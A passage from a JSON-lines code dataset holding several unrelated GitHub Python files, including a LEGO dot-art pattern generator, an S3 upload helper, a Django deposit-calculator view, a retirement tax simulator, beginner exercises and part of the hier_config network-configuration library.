sys_dir.joinpath(fit_script_name))\n","repo_name":"HEPTools/My_TRexFitter","sub_path":"low_m_zprime/22-0620-finer-p0/config_utils.py","file_name":"config_utils.py","file_ext":"py","file_size_in_byte":7542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33269627232","text":"# This is a sample Python script.\n\nimport os\nimport argparse\n\n\ndef main(database: str, url_list_file: str):\n    print(\"We are going to work with \" + database)\n    print(\"We are going to scan \" + url_list_file)\n\n\ndef print_hi(name):\n    # Use a breakpoint in the code line below to debug your script.\n    print(f'Hi, {name}')  # Press Ctrl+F8 to toggle the breakpoint.\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-db\", \"--database\", help=\"SQLite file name\")\n    parser.add_argument(\"-i\", \"--input\", help=\"File containing urls to read\")\n    args = parser.parse_args()\n    database_file = args.database\n    input_file = args.input\n    main(database=database_file, url_list_file=input_file)\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"ryanghanbari2020/First-Pycharm-Project","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22566784262","text":"import logging\n\nimport boto3\nfrom botocore.client import BaseClient\nfrom botocore.exceptions import ClientError\nfrom decouple import config\nfrom fastapi import UploadFile\n\nfrom app.utils.date_utils import D\n\n\nclass S3:\n    s3_client: BaseClient = boto3.client(\n        service_name=\"s3\",\n        aws_access_key_id=config(\"AWS_ACCESS_KEY\"),\n        aws_secret_access_key=config(\"AWS_SECRET_KEY\")\n    )\n    BUCKET_NAME = \"fleapto-files\"\n    url = \"https://{bucket}.s3.ap-northeast-2.amazonaws.com/{filename}\"\n\n    @classmethod\n    def upload_file_to_bucket(cls, file: UploadFile):\n        filename = f\"{D.datetimenum()}_{file.filename}\"\n        try:\n            response = cls.s3_client.upload_fileobj(\n                file.file,\n                cls.BUCKET_NAME,\n                filename,\n                ExtraArgs={'ACL': 'public-read'}\n            )\n        except ClientError as e:\n            logging.error(e)\n            return None\n\n        url = cls.url.format(bucket=cls.BUCKET_NAME, filename=filename)\n        return url","repo_name":"ohdowon064/fleapto-api","sub_path":"app/utils/s3_utils.py","file_name":"s3_utils.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"26643912276","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 17 13:07:36 2021\n\n@author: Stephen\nhttps://github.com/thekitchenscientist/pydotART\n\nSample programs for the 41935 Set\nhttps://rebrickable.com/sets/41935-1/lots-of-dots/#parts\n\"\"\"\n\nimport pydotART as da\n\nfrom itertools import combinations_with_replacement\nfrom itertools import permutations, chain\nimport numpy as np\n\n### Basic Configuration ###\n# What tiles are available? [Colour,Shape,Amount]\npalette = np.array([[15,1.,36],\n                    [15,3.,36],\n                    [15,4.,36],\n                    [4,1.,36],\n                    [4,3.,36],\n                    [4,4.,36],\n                    [212,2.,36]\n                    ])\n\n# Canvas Size and Colour\nx=6\ny=6\ncolour=15\n\n# How wide should the untiled border around the edge be?\nborder=0\n\n# What is the location and size of a central gap [x,y,x_length, y_length]\ncutout=np.array([0,0,0,0])\n\n# Where should the tiling start from?\ncanvas_seed=[0,0]\n\n# Where should the next tile be placed relative to the previous?\ntranslation=np.array([0,0])\n\nwidth_x = 3\nwidth_y = 3\n\ncolour = 15\ncolour_mode = 'random'\ncanvas_seed = [0,0]\nborder=0\ncutout=np.array([0,0,0,0])\n\n#inputs to function\nmax_worm_length = 3\ncanvas = da.Canvas(width_x,width_y,colour,border,cutout) \nstarting_x = 0\nstarting_y = 0\ntile_ID = 1\n\n#generate sequence based on width X and width Y\ndown_sequence = [1]*width_y\nalong_sequence = [1]*width_x\ndown_sequence[0] = along_sequence[0] = 3.0\ndown_sequence[-1] = along_sequence[-1] = 3.0\n    \ndef generate_worm(canvas,starting_y = 0,max_worm_length=1000,tile_ID=1):\n    \n    pattern = canvas\n    width_x = canvas[0]\n    width_y = canvas[1]\n    sequence = [1]*width_x\n    sequence[0] = sequence[-1] = 3.0\n    worm_length = 0\n\n    #check can start\n    for i in range(0,width_y):\n        if starting_y >= width_y:\n            #print('no space')\n            return pattern\n        slice_y = pattern[8][0][:,starting_y]\n        if np.sum(slice_y) == 0:\n                break\n        elif starting_y < width_y:\n            starting_y += 1\n\n    current_xy= [0,starting_y]\n        \n    #loop over all rows\n    for k in range (0,canvas[1]):\n        if worm_length >= max_worm_length:\n            break\n        if worm_length < max_worm_length:    \n            for tile_shape in sequence:\n                #need to choose to add .2/.8 or .4/.6 to tile on start\n                tile_modifier = 0.0\n                if current_xy[0] == 0:\n                    tile_modifier =  0.4\n                elif current_xy[0] == width_x-1:\n                    tile_modifier =  0.8\n\n                if worm_length == 0:\n                    pattern[8][0][current_xy[0]][current_xy[1]] = 4.2\n                else:\n                    pattern[8][0][current_xy[0]][current_xy[1]] = tile_shape + tile_modifier\n                pattern[8][1][current_xy[0]][current_xy[1]] = tile_ID\n                worm_length+=1\n                if worm_length >= max_worm_length:\n                    if current_xy[0] == 0:\n                        tile_modifier =  0.8\n                    else:\n                        tile_modifier =  0.6                    \n                    pattern[8][0][current_xy[0]][current_xy[1]] = 4 + tile_modifier\n                    break\n                current_xy[0]+=1\n            \n            # next row\n            current_xy[1]+=1\n\n            if current_xy[0] >= width_x:\n                current_xy[0]=width_x-1\n        if worm_length >= max_worm_length or current_xy[0] < 0  or current_xy[1] < 0 or current_xy[0] >=width_x  or current_xy[1] >=width_y:\n            break\n   \n        #carry on back\n        if worm_length < max_worm_length:\n            for tile_shape in reversed(sequence):\n                \n                tile_modifier = 0.0\n                if current_xy[0] == 0:\n                    tile_modifier =  0.2\n                elif current_xy[0] == width_x-1:\n                    tile_modifier =  0.6\n                pattern[8][0][current_xy[0]][current_xy[1]] = tile_shape + tile_modifier\n                pattern[8][1][current_xy[0]][current_xy[1]] = tile_ID\n                worm_length+=1\n                if worm_length >= max_worm_length:\n                    if current_xy[0] == width_x-1:\n                        tile_modifier =  0.8\n                    else:\n                        tile_modifier =  0.2                        \n                    pattern[8][0][current_xy[0]][current_xy[1]] = 4 + tile_modifier\n                    break\n                current_xy[0]-=1\n                \n            # next row\n            current_xy[1]+=1\n\n            if current_xy[0] < 0:\n                current_xy[0]=0\n\n        if worm_length >= max_worm_length or current_xy[0] < 0  or current_xy[1] < 0 or current_xy[0] >=width_x  or current_xy[1] >=width_y:\n            break\n    pattern[9] =  tile_ID               \n    return pattern\n\n\n#loop here to keep starting worms till no space left\n#increment tile_ID each time\ndef fill_with_worms(worm_canvas,starting_y,max_worm_length,tile_ID):\n    for j in range (0,width_y):\n        worm_canvas = generate_worm(worm_canvas,starting_y=j,max_worm_length=max_worm_length,tile_ID=tile_ID)\n        tile_ID =worm_canvas[9]\n        tile_ID +=1\n    #fill in remainder with circles\n    worm_canvas[8][0][np.where(worm_canvas[8][0]==0)]=2\n    worm_canvas[8][1][np.where(worm_canvas[8][1]==0)]=tile_ID\n    return worm_canvas\n\ndef fill_with_worm(worm_canvas,starting_y,max_worm_length,tile_ID):\n    worm_canvas = generate_worm(worm_canvas,starting_y=0,max_worm_length=max_worm_length,tile_ID=tile_ID)\n    tile_ID =worm_canvas[9]\n    tile_ID +=1\n    #fill in remainder with circles\n    worm_canvas[8][0][np.where(worm_canvas[8][0]==0)]=2\n    worm_canvas[8][1][np.where(worm_canvas[8][1]==0)]=tile_ID\n    return worm_canvas\n\ndef Larger_Canvas_Rotation(original):\n    rot_90 = da.Rotate_Pattern(original[8][0], angle=90)\n    rot_ID_90 = np.rot90(original[8][1], k=-1)\n    rot_180 = da.Rotate_Pattern(rot_90, angle=90)\n    rot_ID_180 = np.rot90(rot_ID_90, k=-1)\n    rot_270 = da.Rotate_Pattern(rot_180, angle=90)\n    rot_ID_270 = np.rot90(rot_ID_180, k=-1)\n    larger_canvas = da.Canvas(original[0]*2,original[1]*2,colour,border,cutout)\n    #tidy way to apply pattern to a larger canvas\n    larger_canvas[8][0][0:original[0], 0:original[1]] = original[8][0]\n    larger_canvas[8][1][0:original[0], 0:original[1]] = original[8][1]\n    larger_canvas[8][0][0:original[0], original[1]:larger_canvas[1]] = rot_90\n    larger_canvas[8][1][0:original[0], original[1]:larger_canvas[1]] = rot_ID_90\n    larger_canvas[8][0][original[0]:larger_canvas[0], original[1]:larger_canvas[1]] = rot_180\n    larger_canvas[8][1][original[0]:larger_canvas[0], original[1]:larger_canvas[1]] = rot_ID_180\n    larger_canvas[8][0][original[0]:larger_canvas[0], 0:original[1]] = rot_270\n    larger_canvas[8][1][original[0]:larger_canvas[0], 0:original[1]] = rot_ID_270\n    return larger_canvas\n\ncanvas = da.Canvas(width_x*width_y,width_x*width_y,colour,border,cutout)\npattern_list = []\nfor i in range(2,width_x*width_y+1): \n    worm_canvas = da.Canvas(width_x,width_y,colour,border,cutout)\n    starting_y = 0\n    result = fill_with_worms(worm_canvas,starting_y,i,tile_ID)\n    tile_ID =result[9]\n    tile_ID +=1\n    pattern_list.append(result)\n    \npalette = np.array([[22,1.,36],\n                    [15,1.,36],\n                    [14,2.,36]\n                    ])\ncolour_mode = 'sequence'\n\nlarger_canvas_list = []\nfor i in range(0,len(pattern_list)):\n    larger_canvas = Larger_Canvas_Rotation(pattern_list[i])   \n    larger_canvas_list.append(larger_canvas)\n\ncanvas_scale = int(np.sqrt(len(pattern_list)))    \ncanvas = da.Canvas(width_x*width_x*canvas_scale,width_y*width_y*canvas_scale,colour,border,cutout)    \ncanvas = da.Spiral_Pattern_List(canvas,canvas_seed,larger_canvas_list,direction=1,rotate=0,tile_ID = 1)\n    \ncolour_pattern = da.Colour_Pattern(canvas,palette,colour_mode,tiles_check=False)\nda.Ldraw_Pattern(canvas,\"tiled rotated worms patterns\" +str(width_x)+ \"x\" +str(width_y),add_steps=True)  \n","repo_name":"thekitchenscientist/pydotART","sub_path":"wormsDOTS.py","file_name":"wormsDOTS.py","file_ext":"py","file_size_in_byte":8023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"56611394","text":"from depositapi.serializers import DepositSerializer  \nfrom rest_framework import generics\nfrom rest_framework import status\nfrom rest_framework.response import Response\nimport datetime\nfrom dateutil.relativedelta import relativedelta\n\nclass DepositCalculate(generics.CreateAPIView):\n    serializer_class = DepositSerializer\n    def post(self, request):\n        error_message = { 'error': 'Описание ошибки'}\n        date = request.data.get('date')\n        date = request.data.get('date')\n        periods = int(request.data.get('periods'))\n        amount = int(request.data.get('amount'))\n        rate = float(request.data.get('rate'))\n        deposit = {}\n        try: # проверяем что дата введена в нужном формате\n            date_time_obj = datetime.datetime.strptime(date, '%d.%m.%Y') # переводим дату-строку в объект календарной даты\n        except ValueError:\n            return Response(error_message, status=status.HTTP_400_BAD_REQUEST)\n        else:\n            if 1<=periods<=60 and 10000<=amount<=3000000 and 1<=rate<=8: # валидация входных данных\n                newdeposit = DepositSerializer(data=request.data)\n                for i in range(periods):\n                    amount = amount * (1 + rate/12/100) # к сумме вклада добавляется сумма по процентам за этот месяц\n                    deposit[date] = round(amount, 2) # округляем число до двух знаков после запятой  \n                    date_time_obj = date_time_obj + relativedelta(months=+1, day=31) # увеличиваем на один месяц и добавляем максимальное количество дней в месяце, чтобы получить последний день месяца\n                    date = datetime.datetime.strftime(date_time_obj, '%d.%m.%Y') # форматируем дату обратно в строку\n                # newdeposit = Deposit(date=date, periods=periods, amount=amount, rate=rate, deposit=deposit)\n                newdeposit.deposit = deposit\n                newdeposit.save\n                return Response(newdeposit.deposit, status=status.HTTP_200_OK)\n            else:\n                return Response(error_message, status=status.HTTP_400_BAD_REQUEST)","repo_name":"minaton-ru/python-deposit-API","sub_path":"depositapi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"20629134139","text":"from .accounts import Accounts, IRAAccount, RothAccount, TaxableAccount\nfrom .tax import CAPITAL_TAX_TABLE, FED_TAX_TABLE, REGULAR_TAX, STATE_TAX_TABLE\n\nNEED_EXPENSES = 45000\nWANT_EXPENSES = 10000\n\nACA_PREMIUMS = 15000\nMEDICARE_PREMIUMS = 5000\n\nMINIMUM_ACCOUNT_BALANCE_PERCENT = 0.1\n\nSS_AMOUNT = 47500\n\n\nclass Plan:\n    def portfolio(self, age):\n        return {\"stocks\": 0.75, \"bonds\": 0.2, \"cash\": 0.05}\n\n    def pre_tax_expenses(self, age):\n        \"\"\"Calculate the years expenses before tax expenses are added.\"\"\"\n        base_expenses = NEED_EXPENSES + WANT_EXPENSES\n        if age < 65:\n            return base_expenses + ACA_PREMIUMS\n\n        expenses = base_expenses + MEDICARE_PREMIUMS\n        if age >= 70:\n            expenses = max(expenses - SS_AMOUNT, 0)\n        return expenses\n\n    def income_source(self, age, starting):\n        \"\"\"\n\n        Returns:\n            tuple: Tuple of floats that should sum to 1.  Represents what percent of\n            expenses comes from which account (taxable, ira, roth)\n\n        At present it's all or nothing, but that could change.\n        \"\"\"\n        if age < 60:\n            return (1, 0, 0)\n        if (\n            starting.ira.balance - self.pre_tax_expenses(age)\n            > starting.net_worth * MINIMUM_ACCOUNT_BALANCE_PERCENT\n        ):\n            return (0, 1, 0)\n        if (\n            starting.taxable.balance - self.pre_tax_expenses(age)\n            > starting.net_worth * MINIMUM_ACCOUNT_BALANCE_PERCENT\n        ):\n            return (1, 0, 0)\n        return (0, 0, 1)\n\n    def roth_conversion(self, age):\n        if age < 0:\n            return 20000\n        return 0\n\n\nclass Year:\n    def __init__(\n        self, age: int, taxable_value: float, ira_value: float, roth_value: float\n    ):\n        self.processed = False\n        # Age on January 1st\n        self.age = age\n        # assets at the beginning of the year\n        self.starting = Accounts(\n            TaxableAccount(taxable_value),\n            IRAAccount(ira_value),\n            RothAccount(roth_value),\n        )\n        # Assets at the end of the year\n        self.ending = None\n\n        self.stock_growth = None\n        self.bond_growth = None\n        self.inflation = None\n\n        self.plan: Plan = Plan()\n\n    @property\n    def growth(self):\n        if self.stock_growth is None or self.bond_growth is None:\n            return None\n        portfolio = self.plan.portfolio(self.age)\n        growth = 0\n        growth += self.stock_growth * portfolio[\"stocks\"]\n        growth += self.bond_growth * portfolio[\"bonds\"]\n        return growth\n\n    def _calculate_taxable_income(self, expenses):\n        \"\"\"\n        Return the amount of taxable income broken up in to capital income, and\n        regular income.\n        \"\"\"\n        regular_income = 0\n        capital_income = 0\n\n        needed_extra_income = max(expenses - (regular_income + capital_income), 0)\n        source = self.plan.income_source(self.age, self.starting)\n        capital_income += needed_extra_income * source[0]\n        regular_income += needed_extra_income * source[1]\n\n        capital_income, regular_income = self._adjust_for_forced_income(\n            capital_income, regular_income\n        )\n\n        regular_income += self.plan.roth_conversion(self.age)\n        # print(regular_income, capital_gains)\n        return capital_income, regular_income\n\n    def _adjust_for_forced_income(self, capital_income, regular_income):\n        \"\"\"\n        Adjust the taxable income values based on the amount of forced taxable income.\n\n        TODO: Doesn't consider roth as a location to adjust money too, from.\n        \"\"\"\n        forced_regular_income = 0\n        forced_capital_income = 0\n\n        for acct in (self.starting.taxable, self.starting.ira):\n            if acct.TAX_TYPE == REGULAR_TAX:\n                forced_regular_income += acct.forced(self.age)\n            else:\n                forced_capital_income += acct.forced(self.age)\n\n        if (\n            capital_income < forced_capital_income\n            and regular_income < forced_regular_income\n        ):\n            capital_income = forced_capital_income\n            regular_income = forced_regular_income\n        elif capital_income < forced_capital_income:\n            diff = forced_capital_income - capital_income\n            capital_income = forced_capital_income\n            regular_income = max(regular_income - diff, 0)\n        elif regular_income < forced_regular_income:\n            diff = forced_regular_income - regular_income\n            regular_income = forced_regular_income\n            capital_income = max(capital_income - diff, 0)\n        return capital_income, regular_income\n\n    def _calculate_taxes(self, capital_gains, regular_income):\n        est_fed_taxes = FED_TAX_TABLE.calculate_tax(regular_income)\n        est_state_taxes = STATE_TAX_TABLE.calculate_tax(regular_income + capital_gains)\n        est_capital_taxes = CAPITAL_TAX_TABLE.calculate_tax(\n            capital_gains, regular_income\n        )\n        # print((est_fed_taxes, est_state_taxes, est_capital_taxes))\n        taxes = est_fed_taxes + est_state_taxes + est_capital_taxes\n        return taxes\n\n    def taxes(self, expenses):\n        \"\"\"\n        TODO: Return detailed tax information:\n            * amount in each bracket for each type of tax\n            * Marginal rate\n            * total amount per tax type.\n        \"\"\"\n        capital_gains, regular_income = self._calculate_taxable_income(expenses)\n        taxes = self._calculate_taxes(capital_gains, regular_income)\n\n        return taxes\n\n    def __str__(self):\n        return f\"<Year age:{self.age}, net worth:{self.starting.net_worth}>\"\n\n    def _annual_adjustment(self, value) -> float:\n        \"\"\"Apply inflation adjusted growth to the passed in value\"\"\"\n        return value * (1 + self.growth - self.inflation)\n\n    def process_year(\n        self, stock_growth: float, bond_growth: float, inflation: float\n    ) -> \"Year\":\n        \"\"\"Do changes to transform starting values to ending values\"\"\"\n        self.stock_growth = stock_growth\n        self.bond_growth = bond_growth\n        self.inflation = inflation\n        taxable, ira, roth = (\n            self._annual_adjustment(balance)\n            for balance in self.starting.balances.values()\n        )\n\n        expenses = self.plan.pre_tax_expenses(self.age)\n        print(f\"Pre-tax Expenses: ${expenses:,}\")\n        taxes = expenses * 0.3\n        for _ in range(7):\n            taxes = self.taxes(expenses + taxes)\n            # print(f\"{taxes=}\")\n        total_expenses = expenses + taxes\n        print(f\"Taxes: ${taxes:,.2f}\")\n        print(f\"Total Expenses: ${total_expenses:,.2f}\")\n\n        source = self.plan.income_source(self.age, self.starting)\n        taxable -= total_expenses * source[0]\n        ira -= total_expenses * source[1]\n        roth -= total_expenses * source[2]\n\n        taxable += self.starting.ira.forced(self.age)\n        ira -= self.starting.ira.forced(self.age)\n\n        ira -= self.plan.roth_conversion(self.age)\n        roth += self.plan.roth_conversion(self.age)\n\n        self.ending = Accounts(\n            TaxableAccount(taxable),\n            IRAAccount(ira),\n            RothAccount(roth),\n        )\n\n        self.processed = True\n\n    def get_next_year(self):\n        \"\"\"Create a Year object based off our ending values and age.\"\"\"\n        age = self.age + 1\n        if not self.processed:\n            raise ValueError(\"can only get next after this year has been processed\")\n        return self.__class__(age, *self.ending.balances.values())\n","repo_name":"nephlm/retirement","sub_path":"retirement/year.py","file_name":"year.py","file_ext":"py","file_size_in_byte":7555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4658128180","text":"#WAPP to print salary sheet\nclass Employee:\n    def get(self):\n        self.en = input('Enter the name of employee : ')\n        self.no = int(input('Enter the no of employee : '))\n\nclass Dept(Employee):\n    def input(self):\n        self.deptnm = input('Enter the department of employee : ')\nclass Job:\n    def put(self):\n        self.desig = input('Enter the designation : ')\nclass Pay(Dept,Job):\n    def calc(self):\n        self.basic = int(input('Enter the basic salary : '))\n        self.da = self.basic*60//100\n        self.hra = self.basic*10//100\n        print(self.en,'\\n',self.no,'\\n',self.deptnm,'\\n',self.basic,'\\n',self.da,'\\n',self.hra,'\\n',self.desig)\n\ne = Pay()\ne.get()\ne.input()\ne.put()\ne.calc()","repo_name":"siddesh1672003/python","sub_path":"hyb.py","file_name":"hyb.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"20260865242","text":"import sys\n\ninput = sys.stdin.readline\n\nN = int(input())\nnum = [int(input()) for i in range(N)]\nnum.sort()\ncnt = {}\n\nfor n in num:\n    if n in cnt:\n        cnt[n] += 1\n    else:\n        cnt[n] = 1\n\ntmp = [k for k, v in cnt.items() if v == max(cnt.values())]\n\nprint(round(sum(num) / N))\nprint(num[N // 2])\nprint(tmp[0]) if len(tmp) == 1 else print(tmp[1])\nprint(num[-1] - num[0])\n","repo_name":"youngbin218/Algorithm","sub_path":"Acmicpc/Class/2/2108.py","file_name":"2108.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71310923561","text":"\"\"\"Escreva um código que pergunte o salário de um funcionario e de um aumento de\n15% caso o salário for maior que 1250 reais, caso contrário 10%\"\"\"\n\nwage = float(input(\"Me informe o salário\\n\"))\nif wage > 1250:\n    incr = 0.15 * wage\nelse:\n    incr = 0.10 * wage\nresult = (wage + incr)\n\nprint(f\"O aumento é de {incr} resultado é {result}!\")","repo_name":"Sutorinjyeru/CB_Python_Exercicios","sub_path":"Aula_04/ex26.py","file_name":"ex26.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70686607081","text":"from __future__ import annotations\nfrom itertools import islice\nimport re\nfrom pathlib import Path\nfrom typing import Optional, Set, Union, Iterator, List, TYPE_CHECKING, Tuple, Type\nfrom logging import getLogger\n\nfrom .base import HConfigBase\nfrom .child import HConfigChild\n\nif TYPE_CHECKING:\n    from .host import Host\n\nlogger = getLogger(__name__)\n\n\nclass HConfig(HConfigBase):  # pylint: disable=too-many-public-methods\n\n    \"\"\"\n    A class for representing and comparing Cisco configurations in a\n    hierarchical tree data structure.\n\n    Example usage:\n\n    .. code:: python\n\n        # Setup basic environment\n\n        from hier_config import HConfig, Host\n        import yaml\n\n        options = yaml.safe_load(open('./tests/fixtures/options_ios.yml'))\n        host = Host('example.rtr', 'ios', options)\n\n        # Build HConfig object for the Running Config\n\n        running_config_hier = HConfig(host=host)\n        running_config_hier.load_from_file('./tests/fixtures/running_config.conf')\n\n        # Build Hierarchical Configuration object for the Generated Config\n\n        generated_config_hier = HConfig(host=host)\n        generated_config_hier.load_from_file('./tests/fixtures/generated_config.conf')\n\n        # Build Hierarchical Configuration object for the Remediation Config\n\n        remediation_config_hier = running_config_hier.config_to_get_to(generated_config_hier)\n\n        for line in remediation_config_hier.all_children():\n            print(line.cisco_style_text())\n\n    See:\n\n        ./tests/fixtures/tags_ios.yml and ./tests/fixtures/options_ios.yml\n\n        for test examples of options and tags.\n    \"\"\"\n\n    def __init__(self, host: Host):\n        super().__init__()\n        assert hasattr(host, \"hostname\")\n        assert hasattr(host, \"os\")\n        assert hasattr(host, \"hconfig_options\")\n        self.host = host\n        self.parent = self\n        self.real_indent_level = -1\n\n        self.options.setdefault(\"negation\", \"no\")\n        self._logs: List[str] = []\n\n    def __repr__(self) -> str:\n        return f\"HConfig(host={self.host})\"\n\n    def __hash__(self) -> int:\n        return id(self)\n\n    @property\n    def root(self) -> HConfig:\n        \"\"\"returns the HConfig object at the base of the tree\"\"\"\n        return self\n\n    @property\n    def options(self) -> dict:\n        return self.host.hconfig_options\n\n    @property\n    def is_leaf(self) -> bool:\n        \"\"\"returns True if there are no children and is not an instance of HConfig\"\"\"\n        return False\n\n    @property\n    def logs(self) -> List[str]:\n        return self._logs\n\n    @property\n    def is_branch(self) -> bool:\n        \"\"\"returns True if there are children or is an instance of HConfig\"\"\"\n        return True\n\n    @property\n    def _child_class(self) -> Type[HConfigChild]:\n        return HConfigChild\n\n    @property\n    def tags(self) -> Set[Optional[str]]:\n        \"\"\"Recursive access to tags on all leaf nodes\"\"\"\n        found_tags: Set[Optional[str]] = set()\n        for child in self.children:\n            found_tags.update(child.tags)\n        return found_tags\n\n    @tags.setter\n    def tags(self, value: Set[str]) -> None:\n        \"\"\"Recursive access to tags on all leaf nodes\"\"\"\n        for child in self.children:\n            child.tags = value  # type: ignore\n\n    def merge(self, other: HConfig) -> None:\n        \"\"\"Merges two HConfig objects\"\"\"\n        for child in other.children:\n            self.add_deep_copy_of(child, merged=True)\n\n    def lineage(self) -> Iterator[HConfigChild]:\n        \"\"\"\n        Yields the lineage of parent objects, up to but excluding the root\n        \"\"\"\n        yield from ()\n\n    def load_from_file(self, file_path: Union[str, Path]) -> None:\n        \"\"\"Load configuration text from a file\"\"\"\n        with open(file_path) as file:  # pylint: disable=unspecified-encoding\n            config_text = file.read()\n        self.load_from_string(config_text)\n\n    def load_from_string(self, config_text: str) -> None:\n        \"\"\"Create Hierarchical Configuration nested objects from text\"\"\"\n        for sub in self.options[\"full_text_sub\"]:\n            config_text = re.sub(sub[\"search\"], sub[\"replace\"], config_text)\n\n        self._load_from_string_lines(config_text)\n\n        if self.host.os == \"ios\":\n            self._remove_acl_remarks()\n            self._add_acl_sequence_numbers()\n            self._rm_ipv6_acl_sequence_numbers()\n\n    def load_from_dump(self, dump: List[dict]) -> None:\n        \"\"\"Load an HConfig dump\"\"\"\n        last_item: Union[HConfig, HConfigChild] = self\n        for item in dump:\n            # parent is the root\n            if item[\"depth\"] == 1:\n                parent: Union[HConfig, HConfigChild] = self\n            # has the same parent\n            elif last_item.depth() == item[\"depth\"]:\n                parent = last_item.parent\n            # is a child object\n            elif last_item.depth() + 1 == item[\"depth\"]:\n                parent = last_item\n            # has a parent somewhere closer to the root but not the root\n            else:\n                # last_item.lineage() = (a, b, c, d, e), new_item['depth'] = 2,\n                # parent = a\n                parent = next(\n                    islice(last_item.lineage(), item[\"depth\"] - 2, item[\"depth\"] - 1)\n                )\n            # also accept 'line'\n            # obj = parent.add_child(item.get('text', item['line']), force_duplicate=True)\n            obj = parent.add_child(item[\"text\"], force_duplicate=True)\n            obj.tags = set(item[\"tags\"])\n            obj.comments = set(item[\"comments\"])\n            obj.new_in_config = item[\"new_in_config\"]\n            last_item = obj\n\n    def dump(self, lineage_rules: Optional[List[dict]] = None) -> List[dict]:\n        \"\"\"Dump a list of loaded HConfig data\"\"\"\n        if lineage_rules:\n            children = self.all_children_sorted_with_lineage_rules(lineage_rules)\n        else:\n            children = self.all_children_sorted()\n\n        output = []\n        for child in children:\n            output.append(\n                {\n                    \"depth\": child.depth(),\n                    \"text\": child.text,\n                    \"tags\": list(child.tags),\n                    \"comments\": list(child.comments),\n                    \"new_in_config\": child.new_in_config,\n                }\n            )\n\n        return output\n\n    def add_tags(self, tag_rules: list, strip_negation: bool = False) -> None:\n        \"\"\"\n        Handler for tagging sections of Hierarchical Configuration data structure\n        for inclusion and exclusion.\n        \"\"\"\n        for rule in tag_rules:\n            for child in self.all_children():\n                if child.lineage_test(rule, strip_negation):\n                    if \"add_tags\" in rule:\n                        child.append_tags(rule[\"add_tags\"])\n                    if \"remove_tags\" in rule:\n                        child.remove_tags(rule[\"remove_tags\"])\n\n    def depth(self) -> int:\n        \"\"\"Returns the distance to the root HConfig object i.e. indent level\"\"\"\n        return 0\n\n    def difference(self, target: HConfig) -> HConfig:\n        \"\"\"\n        Creates a new HConfig object with the config from self that is not in target\n\n        Example usage:\n        whats in the config.lines v.s. in running config\n        i.e. did all my configuration changes get written to the running config\n\n        :param target: HConfig - The configuration to check against\n        :return: HConfig - missing config additions\n        \"\"\"\n        delta = HConfig(host=self.host)\n        difference = self._difference(target, delta)\n        # Makes mypy happy\n        if not isinstance(difference, HConfig):\n            raise TypeError\n        return difference\n\n    def config_to_get_to(\n        self, target: HConfig, delta: Optional[HConfig] = None\n    ) -> HConfig:\n        \"\"\"\n        Figures out what commands need to be executed to transition from self to target.\n        self is the source data structure(i.e. the running_config),\n        target is the destination(i.e. generated_config)\n\n        \"\"\"\n        if delta is None:\n            delta = HConfig(host=self.host)\n\n        root_config = self._config_to_get_to(target, delta)\n        if not isinstance(root_config, HConfig):\n            raise TypeError\n\n        return root_config\n\n    def add_ancestor_copy_of(\n        self, parent_to_add: HConfigChild\n    ) -> Union[HConfig, HConfigChild]:\n        \"\"\"\n        Add a copy of the ancestry of parent_to_add to self\n        and return the deepest child which is equivalent to parent_to_add\n        \"\"\"\n        base: Union[HConfig, HConfigChild] = self\n        for parent in parent_to_add.lineage():\n            base = base.add_shallow_copy_of(parent)\n\n        return base\n\n    def set_order_weight(self) -> None:\n        \"\"\"Sets self.order integer on all children\"\"\"\n        for child in self.all_children():\n            for rule in self.options[\"ordering\"]:\n                if child.lineage_test(rule):\n                    child.order_weight = rule[\"order\"]\n\n    def add_sectional_exiting(self) -> None:\n        \"\"\"\n        Adds the sectional exiting text as a child\n        \"\"\"\n        for child in self.all_children():\n            for rule in self.options[\"sectional_exiting\"]:\n                if child.lineage_test(rule):\n                    exit_line = child.get_child(\"equals\", rule[\"exit_text\"])\n                    if exit_line is None:\n                        exit_line = child.add_child(rule[\"exit_text\"])\n\n                    exit_line.tags = child.tags\n                    exit_line.order_weight = 999\n\n    def future(self, config: HConfig) -> HConfig:\n        \"\"\"\n        EXPERIMENTAL - predict the future config after config is applied to self\n\n        The quality of the this method's output will in part depend on how well\n        the OS options are tuned. Ensuring that idempotency rules are accurate is\n        especially important.\n        \"\"\"\n        future_config = HConfig(host=self.host)\n        self._future(config, future_config)\n        return future_config\n\n    def with_tags(self, tags: Set[str]) -> HConfig:\n        \"\"\"\n        Returns a new instance containing only sub-objects\n        with one of the tags in tags\n        \"\"\"\n        new_instance = HConfig(self.host)\n        result = self._with_tags(tags, new_instance)\n        # Makes mypy happy\n        if not isinstance(result, HConfig):\n            raise ValueError\n        return new_instance\n\n    def all_children_sorted_by_tags(\n        self, include_tags: Set[str], exclude_tags: Set[str]\n    ) -> Iterator[HConfigChild]:\n        \"\"\"Yield all children recursively that match include/exclude tags\"\"\"\n        for child in sorted(self.children):\n            yield from child.all_children_sorted_by_tags(include_tags, exclude_tags)\n\n    @staticmethod\n    def _load_from_string_lines_end_of_banner_test(\n        config_line: str, banner_end_lines: Set[str], banner_end_contains: List[str]\n    ) -> bool:\n        if config_line.startswith(\"^\"):\n            return 